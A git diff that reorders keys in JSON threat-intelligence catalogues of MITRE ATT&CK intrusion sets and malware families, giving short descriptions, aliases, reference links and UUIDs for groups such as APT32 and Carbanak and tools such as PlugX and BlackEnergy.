- "description": "Putter Panda is a Chinese threat group that has been attributed to Unit 61486 of the 12th Bureau of the PLA’s 3rd General Staff Department (GSD).[[Citation: CrowdStrike Putter Panda]]",
"value": "Putter Panda"
},
{
+ "description": "Axiom is a cyber espionage group suspected to be associated with the Chinese government.Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]",
"meta": {
- "synonyms": [
- "Axiom",
- "Group 72"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0001",
"https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf",
@@ -749,76 +750,75 @@
"http://www.novetta.com/wp-content/uploads/2014/11/Executive%20Summary-Final%201.pdf",
"http://www.novetta.com/wp-content/uploads/2015/04/novetta%20winntianalysis.pdf"
],
+ "synonyms": [
+ "Axiom",
+ "Group 72"
+ ],
"uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973"
},
- "description": "Axiom is a cyber espionage group suspected to be associated with the Chinese government.Winnti Group use the malware Winnti, the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting.[[Citation: Kaspersky Winnti April 2013]][[Citation: Kaspersky Winnti June 2015]][[Citation: Novetta Winnti April 2015]]",
"value": "Axiom"
},
{
+ "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak).[[Citation: Kaspersky Carbanak]]",
"meta": {
- "synonyms": [
- "Carbanak",
- "Anunak"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0008",
"https://securelist.com/files/2015/02/Carbanak%20APT%20eng.pdf"
],
+ "synonyms": [
+ "Carbanak",
+ "Anunak"
+ ],
"uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c"
},
- "description": "Carbanak is a threat group that mainly targets banks. It also refers to malware of the same name (Carbanak).[[Citation: Kaspersky Carbanak]]",
"value": "Carbanak"
},
{
+ "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical.[[Citation: Dell Lateral Movement]]",
"meta": {
+ "refs": [
+ "https://attack.mitre.org/wiki/Group/G0026",
+ "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
+ ],
"synonyms": [
"APT18",
"TG-0416",
"Dynamite Panda",
"Threat Group-0416"
],
- "refs": [
- "https://attack.mitre.org/wiki/Group/G0026",
- "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/"
- ],
"uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648"
},
- "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical.[[Citation: Dell Lateral Movement]]",
"value": "APT18"
},
{
+ "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists. The group's operations are aligned with Vietnamese state interests.[[Citation: FireEye APT32 May 2017]]",
"meta": {
- "synonyms": [
- "APT32",
- "OceanLotus Group"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0050",
"https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"
],
+ "synonyms": [
+ "APT32",
+ "OceanLotus Group"
+ ],
"uuid": "7e5a571f-dee2-4cae-a960-f8ab8a8fb1cf"
},
- "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists. The group's operations are aligned with Vietnamese state interests.[[Citation: FireEye APT32 May 2017]]",
"value": "APT32"
},
{
+ "description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government.[[Citation: Palo Alto Gamaredon Feb 2017]]",
"meta": {
- "synonyms": [
- "Gamaredon Group"
- ],
"refs": [
"https://attack.mitre.org/wiki/Group/G0047",
"https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
],
+ "synonyms": [
+ "Gamaredon Group"
+ ],
"uuid": "2e290bfe-93b5-48ce-97d6-edcd6d32b7cf"
},
- "description": "Gamaredon Group is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government.[[Citation: Palo Alto Gamaredon Feb 2017]]",
"value": "Gamaredon Group"
}
],
- "authors": [
- "MITRE"
- ],
- "type": "mitre-intrusion-set",
- "name": "intrusion Set"
+ "version": 6
}
diff --git a/clusters/mitre-malware.json b/clusters/mitre-malware.json
index 242fd07..e2b9c4b 100644
--- a/clusters/mitre-malware.json
+++ b/clusters/mitre-malware.json
@@ -1,31 +1,31 @@
{
- "type": "mitre-malware",
- "version": 4,
- "name": "Malware",
- "source": "https://github.com/mitre/cti",
- "uuid": "d752161c-78f6-11e7-a0ea-bfa79b407ce4",
"authors": [
"MITRE"
],
"description": "Name of ATT&CK software",
+ "name": "Malware",
+ "source": "https://github.com/mitre/cti",
+ "type": "mitre-malware",
+ "uuid": "d752161c-78f6-11e7-a0ea-bfa79b407ce4",
"values": [
{
+ "description": "OLDBAIT is a credential harvester used by APT28.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: OLDBAIT, Sasfis",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0138",
"https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf",
"https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
],
- "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be",
"synonyms": [
"OLDBAIT",
"Sasfis"
- ]
+ ],
+ "uuid": "2dd34b01-6110-4aac-835d-b5e7b936b0be"
},
- "value": "OLDBAIT",
- "description": "OLDBAIT is a credential harvester used by APT28.[[Citation: FireEye APT28]][[Citation: FireEye APT28 January 2017]]\n\nAliases: OLDBAIT, Sasfis"
+ "value": "OLDBAIT"
},
{
+ "description": "SOUNDBITE is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0157",
@@ -33,27 +33,27 @@
],
"uuid": "f5ac89a7-e129-43b7-bd68-e3cb1e5a3ba2"
},
- "value": "SOUNDBITE",
- "description": "SOUNDBITE is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]"
+ "value": "SOUNDBITE"
},
{
+ "description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015.[[Citation: F-Secure The Dukes]]\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0050",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
"synonyms": [
"CosmicDuke",
"TinyBaron",
"BotgenStudios",
"NemesisGemina"
- ]
+ ],
+ "uuid": "2eb9b131-d333-4a48-9eb4-d8dec46c19ee"
},
- "value": "CosmicDuke",
- "description": "CosmicDuke is malware that was used by APT29 from 2010 to 2015.[[Citation: F-Secure The Dukes]]\n\nAliases: CosmicDuke, TinyBaron, BotgenStudios, NemesisGemina"
+ "value": "CosmicDuke"
},
{
+ "description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.[[Citation: Cisco H1N1 Part 1]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0132",
@@ -61,10 +61,10 @@
],
"uuid": "f8dfbc54-b070-4224-b560-79aaa5f835bd"
},
- "value": "H1N1",
- "description": "H1N1 is a malware variant that has been distributed via a campaign using VBA macros to infect victims. Although it initially had only loader capabilities, it has evolved to include information-stealing functionality.[[Citation: Cisco H1N1 Part 1]]"
+ "value": "H1N1"
},
{
+ "description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0035",
@@ -72,10 +72,10 @@
],
"uuid": "8b880b41-5139-4807-baa9-309690218719"
},
- "value": "SPACESHIP",
- "description": "SPACESHIP is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]"
+ "value": "SPACESHIP"
},
{
+ "description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.[[Citation: Fidelis Hi-Zor]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0087",
@@ -83,55 +83,55 @@
],
"uuid": "5967cc93-57c9-404a-8ffd-097edfa7bdfc"
},
- "value": "Hi-Zor",
- "description": "Hi-Zor is a remote access tool (RAT) that has characteristics similar to Sakula. It was used in a campaign named INOCNATION.[[Citation: Fidelis Hi-Zor]]"
+ "value": "Hi-Zor"
},
{
+ "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.[[Citation: FireEye FIN7 March 2017]]\n\nAliases: TEXTMATE, DNSMessenger",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0146",
"https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html"
],
- "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47",
"synonyms": [
"TEXTMATE",
"DNSMessenger"
- ]
+ ],
+ "uuid": "4f6aa78c-c3d4-4883-9840-96ca2f5d6d47"
},
- "value": "TEXTMATE",
- "description": "TEXTMATE is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with POWERSOURCE in February 2017.[[Citation: FireEye FIN7 March 2017]]\n\nAliases: TEXTMATE, DNSMessenger"
+ "value": "TEXTMATE"
},
{
+ "description": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler.[[Citation: Cylance Cleaver]]\n\nAliases: Net Crawler, NetC",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0056",
"http://www.cylance.com/assets/Cleaver/Cylance%20Operation%20Cleaver%20Report.pdf"
],
- "uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704",
"synonyms": [
"Net Crawler",
"NetC"
- ]
+ ],
+ "uuid": "fde50aaa-f5de-4cb8-989a-babb57d6a704"
},
- "value": "Net Crawler",
- "description": "Net Crawler is an intranet worm capable of extracting credentials using credential dumpers and spreading to systems on a network over SMB by brute forcing accounts with recovered passwords and using PsExec to execute a copy of Net Crawler.[[Citation: Cylance Cleaver]]\n\nAliases: Net Crawler, NetC"
+ "value": "Net Crawler"
},
{
+ "description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.[[Citation: F-Secure BlackEnergy 2014]]\n\nAliases: BlackEnergy, Black Energy",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0089",
"https://www.f-secure.com/documents/996508/1030745/blackenergy%20whitepaper.pdf"
],
- "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
"synonyms": [
"BlackEnergy",
"Black Energy"
- ]
+ ],
+ "uuid": "54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4"
},
- "value": "BlackEnergy",
- "description": "BlackEnergy is a malware toolkit that has been used by both criminal and APT actors. It dates back to at least 2007 and was originally designed to create botnets for use in conducting Distributed Denial of Service (DDoS) attacks, but its use has evolved to support various plug-ins. It is well known for being used during the confrontation between Georgia and Russia in 2008, as well as in targeting Ukrainian institutions. Variants include BlackEnergy 2 and BlackEnergy 3.[[Citation: F-Secure BlackEnergy 2014]]\n\nAliases: BlackEnergy, Black Energy"
+ "value": "BlackEnergy"
},
{
+ "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.[[Citation: Palo Alto DNS Requests]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0124",
@@ -139,10 +139,10 @@
],
"uuid": "b96680d1-5eb3-4f07-b95c-00ab904ac236"
},
- "value": "Pisloader",
- "description": "Pisloader is a malware family that is notable due to its use of DNS as a C2 protocol as well as its use of anti-analysis tactics. It has been used by APT18 and is similar to another malware family, HTTPBrowser, that has been used by the group.[[Citation: Palo Alto DNS Requests]]"
+ "value": "Pisloader"
},
{
+ "description": "PHOREAL is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0158",
@@ -150,25 +150,25 @@
],
"uuid": "f9c6da03-8cb1-4383-9d52-a614c42082bf"
},
- "value": "PHOREAL",
- "description": "PHOREAL is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]"
+ "value": "PHOREAL"
},
{
+ "description": "Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it.[[Citation: Symantec Dragonfly]]\n\nAliases: Backdoor.Oldrea, Havex",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0093",
"http://www.symantec.com/content/en/us/enterprise/media/security%20response/whitepapers/Dragonfly%20Threat%20Against%20Western%20Energy%20Suppliers.pdf"
],
- "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974",
"synonyms": [
"Backdoor.Oldrea",
"Havex"
- ]
+ ],
+ "uuid": "083bb47b-02c8-4423-81a2-f9ef58572974"
},
- "value": "Backdoor.Oldrea",
- "description": "Backdoor.Oldrea is a backdoor used by Dragonfly. It appears to be custom malware authored by the group or specifically for it.[[Citation: Symantec Dragonfly]]\n\nAliases: Backdoor.Oldrea, Havex"
+ "value": "Backdoor.Oldrea"
},
{
+ "description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: JPCERT ChChes Feb 2017]][[Citation: PWC Cloud Hopper Technical Annex April 2017]]\n\nAliases: ChChes, Scorpion, HAYMAKER",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0144",
@@ -176,17 +176,17 @@
"http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/",
"http://blog.jpcert.or.jp/2017/02/chches-malware--93d6.html"
],
- "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
"synonyms": [
"ChChes",
"Scorpion",
"HAYMAKER"
- ]
+ ],
+ "uuid": "dc5d1a33-62aa-4a0c-aa8c-589b87beb11e"
},
- "value": "ChChes",
- "description": "ChChes is a Trojan that appears to be used exclusively by menuPass. It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool.[[Citation: Palo Alto menuPass Feb 2017]][[Citation: JPCERT ChChes Feb 2017]][[Citation: PWC Cloud Hopper Technical Annex April 2017]]\n\nAliases: ChChes, Scorpion, HAYMAKER"
+ "value": "ChChes"
},
{
+ "description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.[[Citation: TrendMicro Hacking Team UEFI]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0047",
@@ -194,10 +194,10 @@
],
"uuid": "4b62ab58-c23b-4704-9c15-edd568cd59f8"
},
- "value": "Hacking Team UEFI Rootkit",
- "description": "Hacking Team UEFI Rootkit is a rootkit developed by the company Hacking Team as a method of persistence for remote access software.[[Citation: TrendMicro Hacking Team UEFI]]"
+ "value": "Hacking Team UEFI Rootkit"
},
{
+ "description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.[[Citation: FireEye FIN7 April 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0151",
@@ -205,10 +205,10 @@
],
"uuid": "71ac10de-1103-40a7-b65b-f97dab9769bf"
},
- "value": "HALFBAKED",
- "description": "HALFBAKED is a malware family consisting of multiple components intended to establish persistence in victim networks.[[Citation: FireEye FIN7 April 2017]]"
+ "value": "HALFBAKED"
},
{
+ "description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.[[Citation: CrowdStrike Putter Panda]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0068",
@@ -216,25 +216,25 @@
],
"uuid": "e8268361-a599-4e45-bd3f-71c8c7e700c0"
},
- "value": "httpclient",
- "description": "httpclient is malware used by Putter Panda. It is a simple tool that provides a limited range of functionality, suggesting it is likely used as a second-stage or supplementary/backup tool.[[Citation: CrowdStrike Putter Panda]]"
+ "value": "httpclient"
},
{
+ "description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.[[Citation: ESET Sednit Part 3]]\n\nAliases: Downdelph, Delphacy",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0134",
"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf"
],
- "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519",
"synonyms": [
"Downdelph",
"Delphacy"
- ]
+ ],
+ "uuid": "08d20cd2-f084-45ee-8558-fa6ef5a18519"
},
- "value": "Downdelph",
- "description": "Downdelph is a first-stage downloader written in Delphi that has been used by APT28 in rare instances between 2013 and 2015.[[Citation: ESET Sednit Part 3]]\n\nAliases: Downdelph, Delphacy"
+ "value": "Downdelph"
},
{
+ "description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.[[Citation: Cylance Shell Crew Feb 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0142",
@@ -242,10 +242,10 @@
],
"uuid": "91000a8a-58cc-4aba-9ad0-993ad6302b86"
},
- "value": "StreamEx",
- "description": "StreamEx is a malware family that has been used by Deep Panda since at least 2015. In 2016, it was distributed via legitimate compromised Korean websites.[[Citation: Cylance Shell Crew Feb 2017]]"
+ "value": "StreamEx"
},
{
+ "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.[[Citation: Scarlet Mimic Jan 2016]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0078",
@@ -253,25 +253,25 @@
],
"uuid": "dfb5fa9b-3051-4b97-8035-08f80aef945b"
},
- "value": "Psylo",
- "description": "Psylo is a shellcode-based Trojan that has been used by Scarlet Mimic. It has similar characteristics as FakeM.[[Citation: Scarlet Mimic Jan 2016]]"
+ "value": "Psylo"
},
{
+ "description": "HDoor is malware that has been customized and used by the Naikon group.[[Citation: Baumgartner Naikon 2015]]\n\nAliases: HDoor, Custom HDoor",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0061",
"https://securelist.com/files/2015/05/TheNaikonAPT-MsnMM1.pdf"
],
- "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b",
"synonyms": [
"HDoor",
"Custom HDoor"
- ]
+ ],
+ "uuid": "007b44b6-e4c5-480b-b5b9-56f2081b1b7b"
},
- "value": "HDoor",
- "description": "HDoor is malware that has been customized and used by the Naikon group.[[Citation: Baumgartner Naikon 2015]]\n\nAliases: HDoor, Custom HDoor"
+ "value": "HDoor"
},
{
+ "description": "is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX[[Citation: XAgentOSX]][[Citation: Sofacy Komplex Trojan]].",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0162",
@@ -280,10 +280,10 @@
],
"uuid": "75c79f95-4c84-4650-9158-510f0ce4831d"
},
- "value": "Komplex",
- "description": "is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX[[Citation: XAgentOSX]][[Citation: Sofacy Komplex Trojan]]."
+ "value": "Komplex"
},
{
+ "description": "TinyZBot is a bot written in C# that was developed by Cleaver.[[Citation: Cylance Cleaver]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0004",
@@ -291,25 +291,25 @@
],
"uuid": "c0c45d38-fe57-4cd4-b2b2-9ecd0ddd4ca9"
},
- "value": "TinyZBot",
- "description": "TinyZBot is a bot written in C# that was developed by Cleaver.[[Citation: Cylance Cleaver]]"
+ "value": "TinyZBot"
},
{
+ "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.[[Citation: FireEye APT30]]\n\nAliases: BACKSPACE, Lecna",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0031",
"https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
],
- "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d",
"synonyms": [
"BACKSPACE",
"Lecna"
- ]
+ ],
+ "uuid": "fb261c56-b80e-43a9-8351-c84081e7213d"
},
- "value": "BACKSPACE",
- "description": "BACKSPACE is a backdoor used by APT30 that dates back to at least 2005.[[Citation: FireEye APT30]]\n\nAliases: BACKSPACE, Lecna"
+ "value": "BACKSPACE"
},
{
+ "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010.[[Citation: F-Secure The Dukes]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0048",
@@ -317,27 +317,27 @@
],
"uuid": "ae9d818d-95d0-41da-b045-9cabea1ca164"
},
- "value": "PinchDuke",
- "description": "PinchDuke is malware that was used by APT29 from 2008 to 2010.[[Citation: F-Secure The Dukes]]"
+ "value": "PinchDuke"
},
{
+ "description": "CloudDuke is malware that was used by APT29 in 2015.[[Citation: F-Secure The Dukes]][[Citation: Securelist Minidionis July 2015]]\n\nAliases: CloudDuke, MiniDionis, CloudLook",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0054",
"https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/",
"https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf"
],
- "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df",
"synonyms": [
"CloudDuke",
"MiniDionis",
"CloudLook"
- ]
+ ],
+ "uuid": "cbf646f1-7db5-4dc6-808b-0094313949df"
},
- "value": "CloudDuke",
- "description": "CloudDuke is malware that was used by APT29 in 2015.[[Citation: F-Secure The Dukes]][[Citation: Securelist Minidionis July 2015]]\n\nAliases: CloudDuke, MiniDionis, CloudLook"
+ "value": "CloudDuke"
},
{
+ "description": "WinMM is a full-featured, simple backdoor used by Naikon.[[Citation: Baumgartner Naikon 2015]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0059",
@@ -345,10 +345,10 @@
],
"uuid": "22addc7b-b39f-483d-979a-1b35147da5de"
},
- "value": "WinMM",
- "description": "WinMM is a full-featured, simple backdoor used by Naikon.[[Citation: Baumgartner Naikon 2015]]"
+ "value": "WinMM"
},
{
+ "description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0079",
@@ -356,10 +356,10 @@
],
"uuid": "463f68f1-5cde-4dc2-a831-68b73488f8f4"
},
- "value": "MobileOrder",
- "description": "MobileOrder is a Trojan intended to compromise Android mobile devices. It has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]"
+ "value": "MobileOrder"
},
{
+ "description": "Sys10 is a backdoor that was used throughout 2013 by Naikon.[[Citation: Baumgartner Naikon 2015]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0060",
@@ -367,10 +367,10 @@
],
"uuid": "7f8730af-f683-423f-9ee1-5f6875a80481"
},
- "value": "Sys10",
- "description": "Sys10 is a backdoor that was used throughout 2013 by Naikon.[[Citation: Baumgartner Naikon 2015]]"
+ "value": "Sys10"
},
{
+ "description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.[[Citation: Symantec W32.Duqu]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0038",
@@ -378,10 +378,10 @@
],
"uuid": "68dca94f-c11d-421e-9287-7c501108e18c"
},
- "value": "Duqu",
- "description": "Duqu is a malware platform that uses a modular approach to extend functionality after deployment within a target network.[[Citation: Symantec W32.Duqu]]"
+ "value": "Duqu"
},
{
+ "description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0076",
@@ -389,10 +389,10 @@
],
"uuid": "bb3c1098-d654-4620-bf40-694386d28921"
},
- "value": "FakeM",
- "description": "FakeM is a shellcode-based Windows backdoor that has been used by Scarlet Mimic.[[Citation: Scarlet Mimic Jan 2016]]"
+ "value": "FakeM"
},
{
+ "description": "WINDSHIELD is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0155",
@@ -400,10 +400,10 @@
],
"uuid": "a89ed72c-202d-486b-9349-6ffc0a61e30a"
},
- "value": "WINDSHIELD",
- "description": "WINDSHIELD is a signature backdoor used by APT32.[[Citation: FireEye APT32 May 2017]]"
+ "value": "WINDSHIELD"
},
{
+ "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0028",
@@ -411,10 +411,10 @@
],
"uuid": "b1de6916-7a22-4460-8d26-6b5483ffaa2a"
},
- "value": "SHIPSHAPE",
- "description": "SHIPSHAPE is malware developed by APT30 that allows propagation and exfiltration of data over removable devices. APT30 may use this capability to exfiltrate data across air-gaps.[[Citation: FireEye APT30]]"
+ "value": "SHIPSHAPE"
},
{
+ "description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations.[[Citation: FireEye admin@338 March 2014]][[Citation: Palo Alto T9000 Feb 2016]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0098",
@@ -423,10 +423,10 @@
],
"uuid": "876f6a77-fbc5-4e13-ab1a-5611986730a3"
},
- "value": "T9000",
- "description": "T9000 is a backdoor that is a newer variant of the T5000 malware family, also known as Plat1. Its primary function is to gather information about the victim. It has been used in multiple targeted attacks against U.S.-based organizations.[[Citation: FireEye admin@338 March 2014]][[Citation: Palo Alto T9000 Feb 2016]]"
+ "value": "T9000"
},
{
+ "description": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011.[[Citation: Villeneuve et al 2014]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0014",
@@ -434,10 +434,10 @@
],
"uuid": "67fc172a-36fa-4a35-88eb-4ba730ed52a6"
},
- "value": "BS2005",
- "description": "BS2005 is malware that was used by Ke3chang in spearphishing campaigns since at least 2011.[[Citation: Villeneuve et al 2014]]"
+ "value": "BS2005"
},
{
+ "description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server.[[Citation: Mandiant APT1 Appendix]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0109",
@@ -445,10 +445,10 @@
],
"uuid": "1d808f62-cf63-4063-9727-ff6132514c22"
},
- "value": "WEBC2",
- "description": "WEBC2 is a backdoor used by APT1 to retrieve a Web page from a predetermined C2 server.[[Citation: Mandiant APT1 Appendix]]"
+ "value": "WEBC2"
},
{
+ "description": "PlugX is a remote access tool (RAT) that uses modular plugins.[[Citation: Lastline PlugX Analysis]] It has been used by multiple threat groups.[[Citation: FireEye Clandestine Fox Part 2]][[Citation: New DragonOK]][[Citation: Dell TG-3390]]\n\nAliases: PlugX, Sogu, Kaba",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0013",
@@ -457,17 +457,17 @@
"http://labs.lastline.com/an-analysis-of-plugx",
"http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/"
],
- "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd",
"synonyms": [
"PlugX",
"Sogu",
"Kaba"
- ]
+ ],
+ "uuid": "64fa0de0-6240-41f4-8638-f4ca7ed528fd"
},
- "value": "PlugX",
- "description": "PlugX is a remote access tool (RAT) that uses modular plugins.[[Citation: Lastline PlugX Analysis]] It has been used by multiple threat groups.[[Citation: FireEye Clandestine Fox Part 2]][[Citation: New DragonOK]][[Citation: Dell TG-3390]]\n\nAliases: PlugX, Sogu, Kaba"
+ "value": "PlugX"
},
{
+ "description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.[[Citation: FireEye POSHSPY April 2017]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0150",
@@ -475,10 +475,10 @@
],
"uuid": "6e45f758-7bd9-44b8-a21c-7309614ae176"
},
- "value": "POSHSPY",
- "description": "POSHSPY is a backdoor that has been used by APT29 since at least 2015. It appears to be used as a secondary backdoor used if the actors lost access to their primary backdoors.[[Citation: FireEye POSHSPY April 2017]]"
+ "value": "POSHSPY"
},
{
+ "description": "Misdat is a backdoor that was used by Dust Storm from 2010 to 2011.[[Citation: Cylance Dust Storm]]",
"meta": {
"refs": [
"https://attack.mitre.org/wiki/Software/S0083",
@@ -486,10 +486,10 @@
],
